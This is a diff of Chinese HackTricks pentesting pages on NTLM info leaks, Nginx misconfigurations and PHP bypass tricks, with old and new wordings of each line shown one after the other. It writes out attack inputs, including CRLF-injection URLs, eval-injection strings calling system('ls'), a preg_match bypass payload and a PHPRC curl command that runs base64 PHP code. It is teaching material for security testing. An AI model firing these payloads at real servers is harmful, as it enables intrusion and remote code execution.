**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将通过“WWW-Authenticate”头响应内部信息IIS版本、Windows版本...。\
**发送**头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于**NTLM认证的工作原理**,服务器将响应内部信息IIS版本Windows版本...)在头部"WWW-Authenticate"中。\
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
**HTTP重定向CTF**
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**(因为浏览器将执行重定向),但其中可能**隐藏**某些内容。
### Web漏洞检查
### 网络漏洞检查
现在已经对Web应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单:
现在已经对网络应用程序进行了全面的枚举,是时候检查许多可能的漏洞。您可以在这里找到检查清单:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
{% endcontent-ref %}
有关Web漏洞的更多信息,请访问:
有关网络漏洞的更多信息,请访问:
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -357,13 +357,13 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
### 监控页面变化
您可以使用工具,例如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
您可以使用工具如[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)来监控页面的修改,这可能会插入漏洞。
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看您的Web应用程序、网络和云
**从黑客的角度看待您的网络应用程序、网络和云**
**查找并报告具有实际商业影响的关键、可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键、可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -447,7 +447,7 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Nginx
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,22 +10,22 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 缺失的根位置 <a href="#missing-root-location" id="missing-root-location"></a>
## 缺失的根目录 <a href="#missing-root-location" id="missing-root-location"></a>
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基目录发挥着关键作用。考虑以下示例:
在配置 Nginx 服务器时,**root 指令**通过定义文件提供的基目录发挥着关键作用。考虑以下示例:
```bash
server {
root /etc/nginx;
@ -85,7 +85,7 @@ deny all;
## 不安全的变量使用 / HTTP 请求拆分 <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
{% hint style="danger" %}
易受攻击的变量 `$uri``$document_uri`,可以通过`$request_uri` 替换它们来修复。
易受攻击的变量 `$uri``$document_uri`,可以通过将它们替换为 `$request_uri` 来修复。
正则表达式也可能存在漏洞,例如:
@ -102,7 +102,7 @@ location / {
return 302 https://example.com$uri;
}
```
在HTTP请求中字符\r回车和\n换行表示新行字符它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符从而导致响应中出现意外的头
在HTTP请求中字符\r回车和\n换行表示新行字符它们的URL编码形式表示为`%0d%0a`。在请求中包含这些字符(例如,`http://localhost/%0d%0aDetectify:%20clrf`)到一个配置错误的服务器会导致服务器发出一个名为`Detectify`的新头。这是因为$uri变量解码了URL编码的新行字符从而导致响应中出现意外的头
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@ -114,7 +114,7 @@ Detectify: clrf
```
了解有关 CRLF 注入和响应拆分风险的更多信息,请访问 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)。
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) ,其中包含一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
此外,这种技术在 [**这个演讲中解释**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) ,其中包含一些易受攻击的示例和检测机制。例如,为了从黑箱的角度检测此错误配置,您可以使用以下请求:
* `https://example.com/%20X` - 任何 HTTP 代码
* `https://example.com/%20H` - 400 错误请求
@ -126,7 +126,7 @@ Detectify: clrf
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任何 HTTP 代码
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 错误请求
在该演讲中发现的一些易受攻击的配置包括
在该演讲中发现的一些易受攻击的配置
* 注意 **`$uri`** 在最终 URL 中是如何设置的
```
@ -148,17 +148,17 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Any variable
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊但并不罕见也不容易验证。这个异常在HackerOne的安全报告中得到了强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生确定服务器端包含SSI是根本原因。
发现**用户提供的数据**在某些情况下可能被视为**Nginx 变量**。这种行为的原因仍然有些模糊但并不罕见也不容易验证。这个异常在HackerOne的安全报告中强调,可以在[这里](https://hackerone.com/reports/370094)查看。对错误消息的进一步调查导致识别出它在[Nginx代码库的SSI过滤模块](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)中的发生确定服务器端包含SSI是根本原因。
要**检测此错误配置**,可以执行以下命令,该命令涉及设置引用头以测试变量打印:
```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
扫描此配置错误的系统揭示了多个实例,其中用户可以打印Nginx变量。然而易受攻击实例数量的减少表明修补此问题的努力已取得了一定成功。
扫描此配置错误的系统揭示了多个实例其中Nginx变量可以被用户打印。然而,易受攻击实例数量的减少表明,修补此问题的努力在某种程度上取得了成功。
## 原始后端响应读取
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端生的错误和HTTP头旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而当Nginx遇到无效的HTTP请求时会出现挑战。这样的请求会按原样转发到后端后端的原始响应随后直接发送给客户端而不经过Nginx的干预。
Nginx通过`proxy_pass`提供了一项功能,允许拦截后端生的错误和HTTP头旨在隐藏内部错误消息和头。这是通过Nginx在响应后端错误时提供自定义错误页面来实现的。然而当Nginx遇到无效的HTTP请求时会出现挑战。这样的请求会按原样转发到后端后端的原始响应随后直接发送给客户端而不经过Nginx的干预。
考虑一个涉及uWSGI应用的示例场景
```python
@ -183,13 +183,13 @@ proxy_hide_header Secret-Header;
默认情况下Nginx 的 **`merge_slashes` 指令** 设置为 **`on`**,这会将 URL 中的多个正斜杠压缩为一个斜杠。此功能虽然简化了 URL 处理,但可能无意中掩盖了 Nginx 后面应用程序中的漏洞,特别是那些容易受到本地文件包含 (LFI) 攻击的应用程序。安全专家 **Danny Robinson 和 Rotem Bar** 强调了与此默认行为相关的潜在风险,尤其是当 Nginx 作为反向代理时。
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不改 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
为了减轻此类风险,建议对易受这些漏洞影响的应用程序 **关闭 `merge_slashes` 指令**。这确保 Nginx 在不改 URL 结构的情况下将请求转发到应用程序,从而不掩盖任何潜在的安全问题。
有关更多信息,请查看 [Danny Robinson 和 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)。
### **Maclicious 响应头**
### **恶意响应头**
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果 Web 服务器的响应中存在某些头,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)
如 [**此文**](https://mizu.re/post/cors-playground) 所示,如果某些头出现在 Web 服务器的响应中,它们将改变 Nginx 代理的行为。您可以在 [**文档中查看**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)
* `X-Accel-Redirect`: 指示 Nginx 将请求内部重定向到指定位置。
* `X-Accel-Buffering`: 控制 Nginx 是否应缓冲响应。
@ -199,7 +199,7 @@ proxy_hide_header Secret-Header;
例如,头 **`X-Accel-Redirect`** 将导致 Nginx 内部 **重定向**。因此,具有类似 **`root /`** 的 Nginx 配置和来自 Web 服务器的响应 **`X-Accel-Redirect: .env`** 将使 Nginx 发送 **`/.env`** 的内容(路径遍历)。
### **Map 指令中的默认值**
### **映射指令中的默认值**
**Nginx 配置**中,`map` 指令通常在 **授权控制** 中发挥作用。一个常见的错误是未指定 **默认** 值,这可能导致未经授权的访问。例如:
```yaml
@ -240,7 +240,7 @@ resolver 8.8.8.8;
此漏洞将允许攻击者 **与 `proxy_pass` 端点建立直接连接**(在此情况下为 `http://backend:9999`),其内容不会被 nginx 检查。
{% endhint %}
从 [这里](https://bishopfox.com/blog/h2c-smuggling-request) 获取的示例漏洞配置以窃取 `/flag`
从 [这里](https://bishopfox.com/blog/h2c-smuggling-request) 偷取 `/flag` 的脆弱配置示例
```
server {
listen 443 ssl;
@ -261,7 +261,7 @@ deny all;
}
```
{% hint style="warning" %}
注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接仍将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此proxy_pass 的 URL 中指定路径并不重要。**
注意,即使 `proxy_pass` 指向特定的 **路径**,例如 `http://backend:9999/socket.io`,连接仍将与 `http://backend:9999` 建立,因此您可以 **联系该内部端点内的任何其他路径。因此proxy_pass 的 URL 中指定路径并不重要。**
{% endhint %}
## 尝试一下
@ -288,9 +288,9 @@ Nginxpwner 是一个简单的工具,用于查找常见的 Nginx 错误配置
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**获取黑客对您的网络应用程序、网络和云的看法**
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -43,7 +43,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 松散比较/类型转换 ( == )
如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`
如果在 PHP 中使用 `==`,则会出现一些意情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -53,9 +53,9 @@ PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://w
* `"string" == 0 -> True` 一个不以数字开头的字符串等于一个数字
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同则结果为 True字符串中的数字被解释为数字
* `"0e3264578" == 0 --> True` 以 "0e" 开头并后跟任何内容的字符串将等于 0
* `"0X3264578" == 0X --> True` 以 "0" 开头并后跟任何字母X 可以是任何字母)后跟任何内容的字符串将等于 0
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e3264578" == 0 --> True` 一个以 "0e" 开头并后跟任何内容的字符串将等于 0
* `"0X3264578" == 0X --> True` 一个以 "0" 开头并后跟任何字母X 可以是任何字母)后跟任何内容的字符串将等于 0
* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** 这种格式:[https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -83,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### 严格类型转换
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -112,27 +112,27 @@ echo preg_match("/^.*1.*$/",$myinput);
"cmd": "cat /etc/passwd"
}
```
找到一个例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
找到一个例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **长度错误绕过**
(这个绕过显然是在 PHP 5.2.5 上尝试的,我无法在 PHP 7.3.15 上使其工作)\
如果你可以发送一个有效的非常 **大的输入** `preg_match()`,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
如果你可以发送给 `preg_match()` 一个有效的非常 **大的输入**,它 **将无法处理它**,你将能够 **绕过** 检查。例如,如果它正在黑名单一个 JSON你可以发送
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
#### ReDoS 绕过
#### ReDoS Bypass
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个`{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜,以获得 SSTI --> RCE --> flag :)**。
好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1\_000\_0001M。\
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤50万向前和50万向后
@ -172,16 +172,16 @@ readfile($page);
## 更多技巧
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖** 在代码中使用的变量。
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖** 在代码中使用的变量。
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同的 cookies 在不同的路径中使用**,你可以使该路径 **访问该路径的 cookie**,设置另一个路径 cookie 的值。\
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
* 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 以查看 php 目录是否被激活。
* [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
这些函数通常在 PHP 中用于 **从密码生成哈希****检查** 密码是否与哈希相符。\
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD\_DEFAULT 通常与 PASSWORD\_BCRYPT 相同。** 目前,**PASSWORD\_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用算法对大于 72 字节的内容进行哈希时,仅会使用前 72B
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。请注意,**PASSWORD\_DEFAULT 通常与 PASSWORD\_BCRYPT 相同。** 目前,**PASSWORD\_BCRYPT** 在输入上有 **72字节的大小限制**。因此,当你尝试用算法对大于 72 字节的内容进行哈希时,仅会使用前 72B
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -193,7 +193,7 @@ True
#### Causing error after setting headers
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时PHOP 不会在响应中设置头部。
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时PHP 不会在响应中设置头部。
这允许绕过例如在代码中设置的 CSP 头部,如:
```php
@ -203,8 +203,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 在设置头部之前填充主体
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以至于当它尝试 **将头部添加** 到响应中时,服务器会抛出错误。\
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以便在尝试 **将头部添加** 到响应时,服务器会抛出错误。\
在以下场景中,**攻击者使服务器抛出了一些大错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
![](<../../../.gitbook/assets/image (1085).png>)
@ -230,7 +230,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
要在“replace”参数中执行代码至少需要一个匹配项。\
此preg\_replace选项在PHP 5.5.0中已被**弃用**
此preg\_replace选项在**PHP 5.5.0中已被弃用**
### **通过Eval()进行RCE**
```
@ -247,7 +247,7 @@ preg_replace("/a/e","phpinfo()","whatever")
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
您需要**破坏**代码**语法****添加**您的**有效载荷**,然后**再次修复**它。您可以使用**逻辑运算**,例如“**and**”或“%26%26”或“|”。请注意“or”和“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
您需要**破坏**代码**语法****添加**您的**有效载荷**,然后**再次修复**它。您可以使用**逻辑运算**,例如“**and"或"%26%26"或"|"**。请注意“or”“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样,“;”也不起作用,因为我们的有效载荷不会被执行。
**另一个选项**是将命令的执行添加到字符串中:`'.highlight_file('.passwd').'`
@ -276,7 +276,7 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
您还可以使用 **//** 注释代码的其余部分
您还可以使用 **//** 注释其余的代码
要发现您需要关闭的括号数量:
@ -292,16 +292,16 @@ usort();}phpinfo;#, "cmp");
### 通过环境变量进行 RCE
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不用)。
* **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。
* 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
* **PHPRC** - 另一个选项
* 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**
* 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 或者要获得 RCE启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -337,7 +337,7 @@ phpinfo();
```
## PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
@ -345,9 +345,9 @@ $_COOKIE | if #This mea
```
如果您正在调试一个 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache `sudo systemctl restart apache2`
### 混淆 PHP 代码
### 混淆 PHP 代码
